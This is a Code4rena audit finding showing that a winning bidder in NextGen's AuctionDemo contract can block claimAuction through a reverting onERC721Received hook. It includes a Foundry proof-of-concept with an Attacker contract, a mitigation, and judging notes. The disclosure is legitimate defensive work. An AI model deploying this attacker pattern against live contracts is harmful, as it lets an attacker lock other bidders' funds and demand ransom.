Auction winner could cause DOS in auctionDemo#claimAuction

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

auctionDemo#claimAuction is called by the auction winner or admin when the auction is ended. This function sents NFT token to the winner's address, the winning bid to the previous owner of NFT and refunds all bidders that do not win an auction:

File: AuctionDemo.sol
104:     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
105:         require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
106:         auctionClaim[_tokenid] = true;
107:         uint256 highestBid = returnHighestBid(_tokenid);
108:         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
109:         address highestBidder = returnHighestBidder(_tokenid);
110:         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
111:             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
112:                 IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
113:                 (bool success, ) = payable(owner()).call{value: highestBid}("");
114:                 emit ClaimAuction(owner(), _tokenid, success, highestBid);
115:             } else if (auctionInfoData[_tokenid][i].status == true) {
116:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
117:                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
118:             } else {}
119:         }
120:     }

At line 112 contract transfers NFT to the winner's address using ERC721.safeTransferFrom. However, this call includes the onERC721Received hook, which would allow an attacker to cause DOS of the claimAuction function by simply reverting any call. This would lock all bids inside the auction contract until the attacker would not change the behavior of the onERC721Received function on its address.

Impact

The auction winner could cause permanent DOS on the auctionDemo#claimAuction function blocking all bids inside the auction contract. An attacker could turn off DOS, releasing hostage assets at any time, and require redemption for this.

Proof of Concept

Next foundry test could show an exploit scenario:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import "./Base.t.sol";
import "forge-std/Test.sol";

contract HighestBidderDos is Base, Test {
    Attacker attacker;
    address user;

    function setUp() public {
        attacker = new Attacker();
        user = makeAddr("user");
        _deploy();
        skip(1 days);
        _initAuction();
    }

    function test_exploit() public payable {
        vm.deal(user, 1 ether);
        vm.prank(user);
        auction.participateToAuction{value: 1 ether}(tokenId);
        
        vm.deal(address(attacker), 2 ether);
        vm.prank(address(attacker));
        auction.participateToAuction{value: 2 ether}(tokenId);

        uint256 endTime = nextGenMinterContract.getAuctionEndTime(tokenId);
        vm.warp(endTime);
        // Transfer of NFT is reverted when onERC721Received hook is called on the attacker's address
        vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer");
        auction.claimAuction(tokenId);
        // Attacker could release hostage assets at any time
        attacker.allowClaim();
        auction.claimAuction(tokenId);
    }
}

contract Attacker {
    bool shouldRevert = true;

    function allowClaim() external {
        shouldRevert = false;
    }

    function onERC721Received(address, address, uint256, bytes memory) external view returns (bytes4) {
        if (shouldRevert) {
            revert();
        } 
        return hex'150b7a02'; 
    }
}

This test requires a Base.t.sol file: https://gist.github.com/sashik-eth/accf61913418dddc86d94ff5ae6fe9bd

Recommended Mitigation Steps

Consider transferring NFT to the winner's address using the ERC721.transferFrom function instead of the ERC721.safeTransferFrom, this would not allow the auction winner to block claimAuction function.

Assessed type

Token-Transfer

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1759

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)